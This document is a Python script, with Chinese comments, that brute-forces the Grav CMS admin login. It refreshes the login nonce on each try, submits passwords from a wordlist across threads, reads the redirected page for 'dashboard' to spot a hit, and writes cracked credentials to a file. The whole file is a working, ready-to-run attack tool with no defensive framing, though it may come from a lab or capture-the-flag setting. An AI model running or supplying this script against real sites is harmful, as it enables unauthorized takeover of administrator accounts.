MazeSec-Openflow

"""
Grav Admin Brute Force Script
- 每次登录重新获取nonce
- 跟随重定向，检查最终页面判断成功/失败
"""

import argparse
import requests
import sys
import time
import re
from concurrent.futures import ThreadPoolExecutor, as_completed

def try_login(target_url, username, password, verbose=False):
    """尝试登录"""
    session = requests.Session()

    try:
        # 1. 获取登录页面和nonce
        r1 = session.get(target_url, timeout=10)
        nonce_match = re.search(r'name="login-nonce" value="([^"]+)"', r1.text)
        if not nonce_match:
            return False, "获取nonce失败"

        nonce = nonce_match.group(1)

        # 2. 提交登录
        r2 = session.post(
            target_url,
            data={
                "data[username]": username,
                "data[password]": password,
                "task": "login",
                "login-nonce": nonce
            },
            allow_redirects=False,
            timeout=15
        )

        # 3. Grav返回303重定向，需要跟随
        if r2.status_code in [301, 302, 303]:
            # 4. 访问重定向目标，通常是 /admin
            r3 = session.get(target_url, timeout=10)

            # 判断成功/失败
            text_lower = r3.text.lower()

            # 成功特征：包含dashboard，不包含登录表单错误
            if 'dashboard' in text_lower and 'login' not in text_lower:
                return True, f"成功! 密码: {password}"

            # 失败特征：包含login-box和error
            if 'login-box' in text_lower or 'admin-login' in text_lower:
                if 'error' in text_lower or 'login failed' in text_lower:
                    return False, "登录失败"
                # 有登录框但没错误，可能还在登录页
                return False, "返回登录页"

            # 其他情况检查URL
            if 'login' not in r3.url.lower() and r3.status_code == 200:
                return True, f"成功! 密码: {password}"

            return False, f"状态码: {r3.status_code}"

        # 非303响应
        return False, f"非重定向响应: {r2.status_code}"

    except requests.exceptions.Timeout:
        return False, "超时"
    except Exception as e:
        return False, str(e)

def main():
    parser = argparse.ArgumentParser(description='Grav Admin Brute Force')
    parser.add_argument('-u', '--url', required=True, help='目标URL')
    parser.add_argument('-w', '--wordlist', required=True, help='密码字典文件')
    parser.add_argument('-u2', '--username', default='admin', help='用户名 (默认: admin)')
    parser.add_argument('-t', '--threads', type=int, default=3, help='线程数 (默认: 3)')
    parser.add_argument('-o', '--output', help='输出结果文件')
    parser.add_argument('-v', '--verbose', action='store_true', help='详细输出')
    args = parser.parse_args()

    # 加载密码字典
    try:
        with open(args.wordlist, 'r', encoding='utf-8') as f:
            passwords = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"[-] 文件不存在: {args.wordlist}")
        sys.exit(1)
    except Exception as e:
        print(f"[-] 读取字典失败: {e}")
        sys.exit(1)

    print(f"[*] 目标: {args.url}")
    print(f"[*] 用户名: {args.username}")
    print(f"[*] 密码数: {len(passwords)}")
    print(f"[*] 线程: {args.threads}")
    print(f"[*] 开始: {time.strftime('%H:%M:%S')}")
    print("-" * 50)

    found = False
    results = []
    completed = 0

    def check_password(pwd):
        return try_login(args.url, args.username, pwd, args.verbose)

    with ThreadPoolExecutor(max_workers=args.threads) as executor:
        futures = {executor.submit(check_password, pwd): pwd for pwd in passwords}

        for future in as_completed(futures):
            completed += 1
            pwd = futures[future]
            success, msg = future.result()

            if success:
                found = True
                print(f"\n[!] *** 撞开! *** 用户: {args.username} 密码: {pwd}")
                results.append((args.username, pwd, msg))
                executor.shutdown(wait=False)
                for f in futures:
                    f.cancel()
                break
            else:
                if args.verbose:
                    print(f"[-] {pwd}: {msg}")
                else:
                    print(f"\r[*] 进度: {completed}/{len(passwords)}  当前: {pwd}", end='', flush=True)

    print("\n" + "-" * 50)
    if not found:
        print(f"[-] 完成，共测试 {completed} 个，未找到")

    if args.output and results:
        with open(args.output, 'w') as f:
            for u, p, m in results:
                f.write(f"{u}:{p} - {m}\n")
        print(f"[+] 结果已保存: {args.output}")

if __name__ == '__main__':
    main()